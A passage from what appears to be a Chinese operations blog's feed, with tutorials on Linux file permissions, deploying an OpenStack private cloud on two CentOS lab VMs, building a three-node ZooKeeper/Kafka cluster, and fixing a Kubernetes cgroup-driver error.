class="line-numbers-rows"><span></span></span></code></pre><ul><li><strong>同时修改所有者和组</strong>：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chown</span> new_owner:new_group filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="特殊权限"><a href="#特殊权限" class="headerlink" title="特殊权限"></a>特殊权限</h3><p>除了基本的读、写、执行权限外，Linux 还有三种特殊权限：</p><ol><li><strong>SetUID (4)</strong>：当应用于可执行文件时，允许用户以文件所有者的权限执行该文件。</li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> <span class="token number">4755</span> filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ol start="2"><li><strong>SetGID (2)</strong>：当应用于可执行文件时，允许用户以文件所属组的权限执行该文件；当应用于目录时，新创建的文件将继承该目录的组。</li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> <span class="token number">2755</span> filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ol start="3"><li><strong>Sticky Bit (1)</strong>：当应用于目录时，只有文件的所有者、目录的所有者或超级用户可以删除或重命名该目录中的文件。</li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> <span class="token number">1755</span> directory_name<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="查看权限"><a href="#查看权限" class="headerlink" title="查看权限"></a>查看权限</h3><p>使用 <code>ls -l</code> 命令可以查看文件和目录的详细信息，包括权限。</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">ls</span> <span class="token parameter variable">-l</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>输出示例：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">-rwxr-xr-- <span class="token number">1</span> user group <span class="token number">1234</span> Jan <span class="token number">1</span> <span class="token number">12</span>:34 filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>在这个示例中：</p><ul><li><code>-rwxr-xr--</code> 表示权限。</li><li><code>1</code> 表示链接数。</li><li><code>user</code> 表示所有者。</li><li><code>group</code> 表示组。</li><li><code>1234</code> 表示文件大小。</li><li><code>Jan 1 12:34</code> 表示最后修改时间。</li><li><code>filename</code> 表示文件名。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Linux 权限管理是确保系统安全性和用户数据隐私的关键部分。Linux 系统中的每个文件和目录都有一组权限，这些权限定义了哪些用户可以访问、读取、写入和执行文件或目录&lt;/p&gt;
&lt;h3 id=&quot;权限类型&quot;&gt;&lt;a href=&quot;#权限类型&quot; class=&quot;headerlink&quot;</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
  </entry>
  
  <entry>
    <title>OpenStack一道云新版部署要点</title>
    <link href="https://blog.inekoxia.com/index.php/archives/687.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/687.html</id>
    <published>2024-10-21T07:00:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、环境准备"><a href="#一、环境准备" class="headerlink" title="一、环境准备"></a>一、环境准备</h2><h3 id="节点规划"><a href="#节点规划" class="headerlink" title="节点规划"></a>节点规划</h3><table><thead><tr><th>主机名</th><th>第一张网卡(ens33)(NAT)</th><th>第二张网卡(ens34)(仅主机)</th><th>配置</th></tr></thead><tbody><tr><td>comtroller</td><td>192.168.100.10</td><td>仅主机无需配置</td><td>4C8G_50G</td></tr><tr><td>compute</td><td>192.168.100.20</td><td>仅主机无需配置</td><td>4C8G_50+50+50+50G</td></tr></tbody></table><p>用到的镜像：CentOS-7-x86_64-DVD-1804.iso、chinaskills_cloud_iaas_v2.0.3.iso</p><p>一道云不同于旧版先电与国基北盛的镜像，多出来了几个服务，不过部署过程也大致相同，其中的要点已经标注出来</p><h3 id="selinux与防火墙关闭"><a href="#selinux与防火墙关闭" class="headerlink" title="selinux与防火墙关闭"></a>selinux与防火墙关闭</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#关防火墙</span>systemctl stop firewalld <span class="token operator">&amp;&amp;</span> systemctl disable firewalld<span class="token comment">#关selinux</span>setenforce <span class="token number">0</span><span class="token function">sed</span> <span class="token parameter variable">-i</span> <span class="token string">'s/=enforcing/=disabled/g'</span> /etc/selinux/config<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="配置网络"><a href="#配置网络" class="headerlink" title="配置网络"></a>配置网络</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">vi</span> /etc/sysconfig/network-scripts/ifcfg-ens33<span class="token comment">#这里主控IPADDR是192.168.100.10，计算节点改成192.168.100.20，两边都要执行</span><span class="token assign-left variable">BOOTPROTO</span><span class="token operator">=</span><span class="token string">"static"</span><span class="token assign-left variable">ONBOOT</span><span class="token operator">=</span><span class="token string">"yes"</span><span class="token assign-left variable">IPADDR</span><span class="token operator">=</span><span class="token string">"192.168.100.10"</span> <span class="token assign-left variable">NETMASK</span><span class="token operator">=</span><span class="token string">"255.255.255.0"</span><span class="token assign-left variable">GATEWAY</span><span class="token operator">=</span><span class="token string">"192.168.100.2"</span><span class="token assign-left variable">DNS1</span><span class="token operator">=</span><span class="token string">"8.8.8.8"</span><span class="token comment">#重启网络</span>systemctl restart network<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="绑定hosts"><a href="#绑定hosts" class="headerlink" title="绑定hosts"></a>绑定hosts</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">vi</span> /etc/hosts<span class="token number">192.168</span>.100.10 controller<span class="token number">192.168</span>.100.20 compute<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h3 id="克隆虚拟机"><a href="#克隆虚拟机" class="headerlink" title="克隆虚拟机"></a>克隆虚拟机</h3><p>使用VMWare克隆一下controller虚拟机然后虚拟机改名为compute，执行配网与设置主机名还有hosts</p><p>克隆完成后执行，注意那个发Hosts的命令是在controller里执行的：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#设置compute网络</span><span class="token function">vi</span> /etc/sysconfig/network-scripts/ifcfg-ens33按i进入编辑模式，把里面的192.168.100.10改成192.168.100.20，还有UUID那一行删除掉编辑完之后重启网络：systemctl restart network<span class="token comment">#设置compute主机名</span>hostnamectl set-hostname compute<span class="token comment">#设置hosts</span><span class="token comment">#在controller执行以下命令发送hosts文件到compute节点上(注意是在controller节点执行)：</span><span class="token function">scp</span> /etc/hosts root@compute:/etc/hosts<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="配置本地yum源与vsftpd共享源"><a href="#配置本地yum源与vsftpd共享源" class="headerlink" title="配置本地yum源与vsftpd共享源"></a>配置本地yum源与vsftpd共享源</h3><h4 id="controller执行"><a href="#controller执行" class="headerlink" title="controller执行"></a>controller执行</h4><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">mkdir</span> /opt/<span class="token punctuation">&#123;</span>centos,iaas<span class="token punctuation">&#125;</span><span class="token function">mount</span> <span class="token parameter variable">-o</span> loop CentOS7-x86_64-DVD-1804.iso /mnt/<span class="token function">cp</span> <span class="token parameter variable">-rvf</span> /mnt/* /opt/centos/<span class="token comment">#确认上面复制完成之后执行以下解挂并拷贝一道云软件包</span><span class="token function">umount</span> /mnt/<span class="token function">mount</span> <span class="token parameter variable">-o</span> loop chinaskills_cloud_iaas.iso /mnt/<span class="token function">cp</span> <span class="token parameter variable">-rvf</span> /mnt/* /opt/iaas/<span class="token comment">#复制完成后执行以下解挂</span><span class="token function">umount</span> /mnt/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>controller设置本地源：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /etc/yum.repos.d/<span class="token function">mkdir</span> backup<span class="token function">mv</span> CentOS-* backup/<span class="token function">mv</span> backup /home/<span class="token function">vi</span> /etc/yum.repos.d/local.repo<span class="token function">cat</span> /etc/yum.repos.d/local.repo<span class="token punctuation">[</span>centos<span class="token punctuation">]</span><span class="token assign-left variable">name</span><span class="token operator">=</span>centos<span class="token assign-left variable">baseurl</span><span class="token operator">=</span>file:///opt/centos<span class="token assign-left variable">gpgcheck</span><span class="token operator">=</span><span class="token number">0</span><span class="token assign-left variable">enabled</span><span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">[</span>iaas<span class="token punctuation">]</span><span class="token assign-left variable">name</span><span class="token operator">=</span>iaas<span class="token assign-left variable">baseurl</span><span class="token operator">=</span>file:///opt/iaas/iaas-repo<span class="token assign-left variable">gpgcheck</span><span class="token operator">=</span><span class="token number">0</span><span class="token assign-left variable">enabled</span><span class="token operator">=</span><span class="token number">1</span><span class="token comment">#修改完文件保存之后更新源</span>yum clean allyum makecache<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>controller配置vsftpd：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum <span class="token parameter variable">-y</span> <span class="token function">install</span> vsftpd<span class="token builtin class-name">echo</span> <span class="token string">"anon_root=/opt"</span> <span class="token operator">>></span> /etc/vsftpd/vsftpd.confsystemctl start vsftpd <span class="token operator">&amp;&amp;</span> systemctl <span class="token builtin class-name">enable</span> vsftpdsystemctl status vsftpd<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h4 id="切换到compute执行"><a href="#切换到compute执行" class="headerlink" title="切换到compute执行"></a>切换到compute执行</h4><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /etc/yum.repos.d/ <span class="token operator">&amp;&amp;</span> <span class="token function">rm</span> <span class="token parameter variable">-rf</span> *<span class="token function">cat</span> <span class="token operator">></span> ftp.repo <span class="token operator">&lt;&lt;</span> <span class="token string">EOF[centos]name=centosbaseurl=ftp://controller/centosgpgcheck=0enabled=1[iaas]name=iaasbaseurl=ftp://controller/iaas/iaas-repogpgcheck=0enabled=1EOF</span>yum clean allyum repolistyum makecache<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="controller和compute两个都要执行"><a href="#controller和compute两个都要执行" class="headerlink" title="controller和compute两个都要执行"></a>controller和compute两个都要执行</h4><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum <span class="token function">install</span> openstack-iaas <span class="token parameter variable">-y</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="二、开始安装"><a href="#二、开始安装" class="headerlink" title="二、开始安装"></a>二、开始安装</h2><h3 id="磁盘分区"><a href="#磁盘分区" class="headerlink" title="磁盘分区"></a>磁盘分区</h3><p>compute除了系统盘之外添加三块50G的盘，选SCSI模式</p><p>配置三块盘，cinder、swift、manila使用</p><table><thead><tr><th>磁盘名</th><th>卷名称</th><th>大小</th></tr></thead><tbody><tr><td>sdb1</td><td>cinder</td><td>50G</td></tr><tr><td>sdb2</td><td>swift</td><td>30G</td></tr><tr><td>sdb3</td><td>manila</td><td>29G</td></tr></tbody></table><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#以上规划仅供参考，根据实际情况分盘，不是熟手的话建议操作前先打快照，千万不要把系统盘给格了</span><span class="token comment">#查看所有磁盘和分区</span><span class="token function">fdisk</span> <span class="token parameter variable">-l</span><span class="token builtin class-name">echo</span> <span class="token string">"- - -"</span> <span class="token operator">></span> /sys/class/scsi_host/host0/scanlsblk<span class="token function">fdisk</span> /dev/sdbn p enter enter +20G    *3pwpartprobe /dev/sdb<span class="token number">2</span>选1<span class="token function">parted</span> <span class="token parameter variable">-s</span> /dev/sdb mklabel msdos<span class="token function">parted</span> /dev/sdb mkpart primary 0M 50G<span class="token function">parted</span> /dev/sdb mkpart primary 51G 80G<span class="token function">parted</span> /dev/sdb mkpart primary 81G 110G<span class="token function">parted</span> /dev/sdb print<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="配置环境变量"><a href="#配置环境变量" class="headerlink" title="配置环境变量"></a>配置环境变量</h3><p>在配置之前有几个需要注意的点：</p><p>这是配置要点不要直接扔进去了不然会报错，去掉所有参数开通的#号注释然后所有密码填入000000</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#--------------------system Config--------------------##</span><span class="token assign-left variable">HOST_IP</span><span class="token operator">=</span><span class="token number">192.168</span>.100.10<span class="token comment">#上面这是controller的IP</span><span class="token assign-left variable">HOST_PASS</span><span class="token operator">=</span>000000<span class="token comment">#上面这是controller的root密码</span><span class="token assign-left variable">HOST_NAME</span><span class="token operator">=</span>controller<span class="token comment">#上面这是controller的主机名</span><span class="token assign-left variable">HOST_IP_NODE</span><span class="token operator">=</span><span class="token number">192.168</span>.100.20<span class="token comment">#上面这是计算节点的IP</span><span class="token assign-left variable">HOST_PASS_NODE</span><span class="token operator">=</span>000000<span class="token comment">#上面这是计算节点的root密码</span><span class="token assign-left variable">HOST_NAME_NODE</span><span class="token operator">=</span>compute<span class="token comment">#上面这是计算节点的主机名</span><span class="token comment">#--------------------Chrony Config-------------------##</span><span class="token assign-left variable">network_segment_IP</span><span class="token operator">=</span><span class="token number">192.168</span>.100.0/24<span class="token comment">#以上是两台机处于的网段</span><span class="token comment">#--------------------Rabbit Config ------------------##</span><span class="token assign-left variable">RABBIT_USER</span><span class="token operator">=</span>openstack<span class="token comment">#以上默认openstack用户</span><span class="token comment">#--------------------Keystone Config------------------##</span><span class="token assign-left variable">DOMAIN_NAME</span><span class="token operator">=</span>demo<span class="token comment">#以上是默认的域，默认demo</span><span class="token comment">#--------------------Neutron Config-------------------##</span><span class="token assign-left variable">INTERFACE_NAME</span><span class="token operator">=</span>ens34<span class="token comment">#以上是仅主机的网卡名称</span><span class="token assign-left variable">Physical_NAME</span><span class="token operator">=</span>provider<span class="token assign-left variable">minvlan</span><span class="token operator">=</span><span class="token number">101</span><span class="token assign-left variable">maxvlan</span><span class="token operator">=</span><span class="token number">200</span><span class="token comment">#以上是默认参数</span><span class="token comment">#--------------------Cinder Config--------------------##</span><span class="token assign-left variable">BLOCK_DISK</span><span class="token operator">=</span>sdb1<span class="token comment">#以上是cinder占用的分区</span><span class="token comment">#--------------------Swift Config---------------------##</span><span class="token assign-left variable">OBJECT_DISK</span><span class="token operator">=</span>sdb2<span class="token comment">#以上是swift占用的分区</span><span class="token assign-left variable">STORAGE_LOCAL_NET_IP</span><span class="token operator">=</span><span class="token number">192.168</span>.100.20<span class="token comment">#以上是计算节点compute的IP地址</span><span class="token comment">#--------------------Manila Config----------------##</span><span class="token assign-left variable">SHARE_DISK</span><span class="token operator">=</span>sdb3<span class="token comment">#以上是manila占用的分区</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>controller执行</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">vi</span> /etc/openstack/openrc.sh<span class="token comment">#至于怎么填吗，上面都有解析，看完就会了</span><span class="token comment">#填完发到compute计算节点上：</span><span class="token function">scp</span> /etc/openstack/openrc.sh root@compute:/etc/openstack/openrc.sh<span class="token comment">#然后主节点初始化（脚本不可逆，建议新手执行前先打快照）：</span><span class="token builtin class-name">source</span> /etc/openstack/openrc.shiaas-pre-host.sh<span class="token comment">#执行完毕之后退出登录：</span><span class="token builtin class-name">logout</span><span class="token comment">#然后重新登陆回来ssh</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>compute执行</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#计算节点初始化（脚本不可逆，建议新手执行前先打快照）：</span><span class="token builtin class-name">source</span> /etc/openstack/openrc.shiaas-pre-host.sh<span class="token comment">#执行完毕之后退出登录：</span><span class="token builtin class-name">logout</span><span class="token comment">#然后重新登陆回来ssh</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="执行安装"><a href="#执行安装" class="headerlink" title="执行安装"></a>执行安装</h3><p>controller执行</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#从上到下按顺序执行，千万不能乱也不能漏</span>iaas-install-mysql.sh iaas-install-keystone.shiaas-install-glance.shiaas-install-placement.shiaas-install-nova-controller.shiaas-install-neutron-controller.shiaas-install-dashboard.shiaas-install-cinder-controller.shiaas-install-swift-controller.shiaas-install-heat.shiaas-install-manila-controller.shiaas-install-cloudkitty.shiaas-install-barbican.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>compute执行</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#从上到下按顺序执行，千万不能乱也不能漏</span>iaas-install-nova-compute.shiaas-install-neutron-compute.shiaas-install-cinder-compute.shiaas-install-swift-compute.shiaas-install-manila-compute.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>执行完如果没问题的话，dashboard应该就可以打开了<br><img src="https://webstatic.9xia.top/usr/uploads/2024/10/1004340154.png" alt="270598C503DC638B9020000C0671F7AD.png"></p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">地址：192.168.100.10/dashboard登录信息：域：demo用户名：admin密码：000000<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一、环境准备&quot;&gt;&lt;a href=&quot;#一、环境准备&quot; class=&quot;headerlink&quot; title=&quot;一、环境准备&quot;&gt;&lt;/a&gt;一、环境准备&lt;/h2&gt;&lt;h3 id=&quot;节点规划&quot;&gt;&lt;a href=&quot;#节点规划&quot; class=&quot;headerlink&quot; title=&quot;节</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="私有云" scheme="https://blog.inekoxia.com/tags/%E7%A7%81%E6%9C%89%E4%BA%91/"/>
    
    <category term="OpenStack" scheme="https://blog.inekoxia.com/tags/OpenStack/"/>
    
  </entry>
  
  <entry>
    <title>基于zookeeper的kafka三节点集群</title>
    <link href="https://blog.inekoxia.com/index.php/archives/684.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/684.html</id>
    <published>2024-09-12T05:46:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一．创建三台虚拟机"><a href="#一．创建三台虚拟机" class="headerlink" title="一．创建三台虚拟机"></a>一．创建三台虚拟机</h1><ul><li>node1 10.24.227.111 </li><li>node2 10.24.227.112  </li><li>node3 10.24.227.113</li></ul><h1 id="二．安装jdk环境"><a href="#二．安装jdk环境" class="headerlink" title="二．安装jdk环境"></a>二．安装jdk环境</h1><h2 id="方法一：rpm安装：预先下载好-jdk-21-linux-x64-bin-rpm"><a href="#方法一：rpm安装：预先下载好-jdk-21-linux-x64-bin-rpm" class="headerlink" title="方法一：rpm安装：预先下载好 jdk-21_linux-x64_bin.rpm"></a>方法一：rpm安装：预先下载好 jdk-21_linux-x64_bin.rpm</h2><p>将包拉进根目录，执行：rpm -ivh jdk-21_linux-x64_bin.rpm</p><h2 id="方法二：yum-install-y-java-1-8-0-openjdk"><a href="#方法二：yum-install-y-java-1-8-0-openjdk" class="headerlink" title="方法二：yum install -y java-1.8.0-openjdk*"></a>方法二：yum install -y java-1.8.0-openjdk*</h2><h1 id="三．关闭防火墙"><a href="#三．关闭防火墙" class="headerlink" title="三．关闭防火墙"></a>三．关闭防火墙</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl stop firewalld <span class="token operator">&amp;&amp;</span> systemctl disable firewalld<span class="token comment">### 关闭selinux</span><span class="token function">vi</span> /etc/selinux/config模式改成permissivesetenforce <span class="token number">0</span> <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="四．安装zookeeper"><a href="#四．安装zookeeper" class="headerlink" title="四．安装zookeeper"></a>四．安装zookeeper</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">tar</span> <span class="token parameter variable">-zxvf</span> apache-zookeeper-3.9.2-bin.tar.gz <span class="token parameter variable">-C</span> /usr/local/<span class="token builtin class-name">cd</span> /usr/local/<span class="token function">mv</span> apache-zookeeper-3.9.2-bin zookeeper-3.9.2<span class="token builtin class-name">cd</span> /usr/local/zookeeper-3.9.2/<span class="token function">mkdir</span> data<span class="token builtin class-name">cd</span> conf/<span class="token function">mv</span> zoo_sample.cfg zoo.cfg<span class="token function">vi</span> zoo.cfg <span class="token variable"><span class="token variable">`</span><span class="token comment"># zookeeper 数据存储地址</span><span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token assign-left variable">dataDir</span><span class="token operator">=</span>/usr/local/zookeeper-3.9.2/data<span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token comment"># zookeeper 集群地址</span><span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token assign-left variable">server.1</span><span class="token operator">=</span><span class="token number">10.24</span>.227.111:2888:3888<span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token assign-left variable">server.2</span><span class="token operator">=</span><span class="token number">10.24</span>.227.112:2888:3888<span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token assign-left variable">server.3</span><span class="token operator">=</span><span class="token number">10.24</span>.227.113:2888:3888<span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token comment"># admin.server端口</span><span class="token variable">`</span></span><span class="token variable"><span class="token variable">`</span><span class="token assign-left variable">admin.serverPort</span><span class="token operator">=</span><span class="token number">8888</span><span class="token variable">`</span></span> <span class="token function">scp</span> <span class="token parameter variable">-r</span> zookeeper-3.9.2 node2:/usr/local/<span class="token function">scp</span> <span class="token parameter variable">-r</span> zookeeper-3.9.2 node3:/usr/local/ <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>node1:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token number">1</span> <span class="token operator">></span> data/myid<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>node2:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token number">2</span> <span class="token operator">></span> data/myid<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>node3:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token number">3</span> <span class="token operator">></span> data/myid<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="启动zookeeper："><a href="#启动zookeeper：" class="headerlink" title="启动zookeeper："></a>启动zookeeper：</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sh</span> bin/zkServer.sh start<span class="token function">sh</span> bin/zkServer.sh status   //注意，要启动三台才能看见它的运行状态，我们可以通过bin目录下面的zookeeper.out来查看问题原因，这上面说的是myid文件缺失，可能涉及到Leader（Master）选举的问题，需要先启动master，然后再启动follower。<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h1 id="安装Kafka"><a href="#安装Kafka" class="headerlink" title="安装Kafka"></a>安装Kafka</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">tar</span> <span class="token parameter variable">-zxvf</span> kafka_2.12-3.6.0.tgz <span class="token parameter variable">-C</span> /usr/local/<span class="token builtin class-name">cd</span> /usr/local/kafka_2.12-3.6.0/<span class="token function">vi</span> config/server.properties<span class="token assign-left variable">broker.id</span><span class="token operator">=</span><span class="token number">1</span>    //不同节点id不同<span class="token assign-left variable">host.name</span><span class="token operator">=</span><span class="token number">10.24</span>.227.111<span class="token assign-left variable">listeners</span><span class="token operator">=</span>PLAINTEXT://10.24.227.111:9092<span class="token assign-left variable">advertised.listeners</span><span class="token operator">=</span>PLAINTEXT://10.24.227.111:9092<span class="token assign-left variable">zookeeper.connect</span><span class="token operator">=</span><span class="token number">10.24</span>.227.111:2181,10.24.227.112:2181,10.24.227.113:2181/kafka<span class="token function">scp</span> <span class="token parameter variable">-r</span> kafka_2.12-3.6.0 node2:/usr/local/<span class="token function">scp</span> <span class="token parameter variable">-r</span> kafka_2.12-3.6.0 node3:/usr/local/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="启动Kafka"><a href="#启动Kafka" class="headerlink" title="启动Kafka"></a>启动Kafka</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sh</span> bin/kafka-server-start.sh <span class="token parameter variable">-daemon</span> config/server.properties<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>一共三个node节点，1leader，2follower集群成功，三个卡夫卡成功运行</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一．创建三台虚拟机&quot;&gt;&lt;a href=&quot;#一．创建三台虚拟机&quot; class=&quot;headerlink&quot; title=&quot;一．创建三台虚拟机&quot;&gt;&lt;/a&gt;一．创建三台虚拟机&lt;/h1&gt;&lt;ul&gt;
&lt;li&gt;node1 10.24.227.111 &lt;/li&gt;
&lt;li&gt;node2 </summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="kafka" scheme="https://blog.inekoxia.com/tags/kafka/"/>
    
    <category term="消息队列" scheme="https://blog.inekoxia.com/tags/%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97/"/>
    
  </entry>
  
  <entry>
    <title>k8s搭建踩坑记录，附解决方式</title>
    <link href="https://blog.inekoxia.com/index.php/archives/677.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/677.html</id>
    <published>2024-09-08T06:11:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一、Node加入集群时K8S报错cgroupfs驱动问题"><a href="#一、Node加入集群时K8S报错cgroupfs驱动问题" class="headerlink" title="一、Node加入集群时K8S报错cgroupfs驱动问题"></a>一、Node加入集群时K8S报错cgroupfs驱动问题</h1><p>错误信息：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">detected <span class="token string">"cgroupfs"</span> as the Docker cgroup driver. The recommended driver is <span class="token string">"systemd"</span><span class="token builtin class-name">.</span> Please follow the guide at https://kubernetes.io/docs/setup/cri/<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>解决方法：修改启动方式为systemd</p><h2 id="1-修改docker的配置文件"><a href="#1-修改docker的配置文件" class="headerlink" title="1.修改docker的配置文件"></a>1.修改docker的配置文件</h2><p>vim打开&#x2F;etc&#x2F;docker&#x2F;daemon.json文件，改成以下内容。</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">&#123;</span> <span class="token string">"registry-mirrors"</span><span class="token builtin class-name">:</span> <span class="token punctuation">[</span><span class="token string">"https://x3nqjrcg.mirror.aliyuncs.com"</span><span class="token punctuation">]</span>, <span class="token string">"exec-opts"</span><span class="token builtin class-name">:</span> <span class="token punctuation">[</span><span class="token string">"native.cgroupdriver=systemd"</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>重启docker服务</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl daemon-reloadsystemctl restart <span class="token function">docker</span><span aria-hidden="true" 